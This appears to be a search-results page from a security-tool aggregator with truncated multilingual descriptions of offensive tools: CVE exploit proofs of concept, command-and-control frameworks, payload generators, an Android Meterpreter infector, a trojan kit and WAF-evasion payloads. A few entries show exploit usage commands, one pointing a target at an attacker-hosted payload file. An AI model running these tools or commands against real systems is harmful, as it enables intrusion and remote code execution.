30844 matches found
Mezzanine-CMS-6.1.0-XSS
Mezzanine-CMS-6.1.0-XSS CVE-2025-50481 الوصف ثغرة برمجية نصية عبر المواقع XSS في المكون /blog/blogpost/add من Mezzanine CMS الإصدار 6.1.0 تتيح للمهاجمين تنفيذ نصوص برمجية عشوائية أو HTML عبر حقن حمولة معدلة في منشور مدونة. CVE: CVE-2025-50481 الإصدار المتأثر: Mezzanine CMS 6.1.0 الدرجة الأساسية:...
Kitsune
Kitsune Kitsune ist ein polymorphes Command & Control. Dieses Tool ermöglicht es Ihnen, eine grafische Version Ihrer Lieblings-Hacking-Tools zu erhalten, wie z.B. NetExec, Villain oder Evil-WinRM, unter anderem. Darüber hinaus bringt es viele Verbesserungen wie automatische Wiederverbindung,...
Shortcut-Payload-Generator
Shortcut-Payload-Generator Ausnutzen von Powershell, um Shortcut-Payloads zu erstellen fud. Es gibt viele tolle Tricks dort, du kannst es besser machen ^^. Zum Beispiel: Tcpview, Taskmanager usw. beim Herunterladen beenden. Versteckte Attribute der Malware nach dem Herunterladen setzen ... usw...
CVE-2017-0199
शोषण टूलकिट CVE-2017-0199 शोषण टूलकिट CVE-2017-0199 एक उपयोगी पायथन स्क्रिप्ट है जो पेन्टेस्टर्स और सुरक्षा शोधकर्ताओं को माइक्रोसॉफ्ट ऑफिस RCE का परीक्षण करने का त्वरित और प्रभावी तरीका प्रदान करती है। यह एक दुर्भावनापूर्ण RTF/PPSX फ़ाइल उत्पन्न कर सकती है और किसी भी जटिल कॉन्फ़िगरेशन के बिना...
kwetza
Einführung Von Chris Le Roy @brompwnie [email protected] Kwetza ist ein Werkzeug, mit dem Sie eine bestehende Android-Anwendung mit einem Meterpreter-Payload infizieren können. Was macht es? Kwetza infiziert eine bestehende Android-Anwendung entweder mit benutzerdefinierten oder...
Log4j-Scanner-Exploit
Log4Shell-Scanner-Exploit Script em bash que permite identificar e/ou explorar a vulnerabilidade Log4shell de forma remota. Esta ferramenta realiza diferentes testes usando payloads LDAP e cabeçalhos X-Api-Version, User-Agent e X-Forwarded-For. Utilize sempre este script com autorização prévia do...
Text4ShellPayloads
Text4ShellPayloads Ce projet inclut un script Python qui génère des commandes malveillantes exploitant la vulnérabilité CVE-2022-42889 Le serveur vulnérable a été configuré selon les instructions de "Karthik U J" en suivant les étapes sur https://github.com/karthikuj/cve-2022-42889-text4shell-doc...
CVE-2025-53770
माइक्रोसॉफ्ट शेयरपॉइंट CVE-2025-53770 POC अस्वीकरण: यह कोड/पेलोड केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। लेखक इस कोड के किसी भी अनधिकृत या दुर्भावनापूर्ण उपयोग का समर्थन या संरक्षण नहीं करता है। इसका उपयोग केवल उन वातावरणों में करें जिनके आप स्वामी हैं या जिनके परीक्षण की स्पष्ट अनुमति...
CVE-2023-46604-Apache-ActiveMQ-RCE-exp
Référence du projet Ce projet est une réécriture en python de l'exp du projet https://github.com/X1r0z/ActiveMQ-RCE . Utilisation root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Le paramètre -p est par défaut le port par défaut d'activeMQ. Le...
CVE-2017-12149
CVE-2017-12149 JBoss - Execução Remota de Código RCE por Desserialização Java CVE-2017-12149 O script Python usa o ysoserial para gerar dinamicamente o payload. Portanto, o Java também é necessário...
DLLHSC
DLLHSC DLL Hijack SCanner – Ein Tool zur Generierung von Leads und automatischen Erkennung von Kandidaten für DLL Search Order Hijacking Inhaltsverzeichnis dieser Seite Inhalt dieses Repositorys Betriebsmodi Kompilierungs- und Ausführungshinweise Hilfemenü Beispielausführungen Feedback Inhalt...
python-log4rce
Python Log4RCE Um PoC totalmente integrado em Python3 puro para CVE-2021-44228. Exemplo root@kitploit: python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=" root@kitploit: INFO:HTTP:Running on local port 1337 INFO:HTTP:Remote target ...
artifacts-kit
. . / || |/ / | | | ||/ | \ \ \ \ \ / \ | |/ / \ / | | /| | | || | / \ | | | | | | ||| / / / / Kit Gerador de Artefatos de Memória Maliciosa v1.0 | Forrest Orr | 2020 OBRIGATÓRIO --alloc-type dll-map-hollow|dll-load-hollow|txf-dll-map-hollow|private|mapped OPCIONAL --payload-file...
Log4Shell-obfuscated-payloads-generator
Log4Shell-obfuscated-payloads-generator O Log4Shell-obfuscated-payloads-generator pode gerar payloads ofuscados primários ou ofuscados secundários do CVE-2021-44228 ou CVE-2021-45046 para evadir a detecção de WAF. A ideia de design do Log4Shell-obfuscated-payloads-generator Instalação...
CVE-2015-7501
जावा डिसीरियलाइज़ेशन कमज़ोरियों के लिए प्रयोगशाला यह सामग्री H2HC पत्रिका के 12वें संस्करण के लिए लिखे गए पेपर से संबंधित है। पूरा पेपर देखें: https://www.h2hc.com.br/revista/ बातचीत की स्लाइड्स और वीडियो जल्द ही उपलब्ध होंगे। Um overview sobre as bases das falhas de desserialização nativa em...
PyIris
O projeto está atualmente passando por uma grande reescrita para a versão 3. A versão atual, versão 2, será tornada obsoleta. Veja para mais informações. O Projeto PyIris Atualizações em breve, consulte ROADMAP.md O projeto PyIris é um kit de ferramentas modular de trojan de acesso remoto escrito...
cve-2019-9081
cve-2019-9081 exp gerar payload Passe o payload como parâmetro...
LitterBox
LitterBox Um sandbox de análise de payload auto-hospedado para red teams. Envie uma amostra, execute análise estática / dinâmica / EDR nela, obtenha um Detection Score e um detalhamento dos indicadores de acionamento — decida se o payload está pronto para uso em campo antes de sair do laboratório...
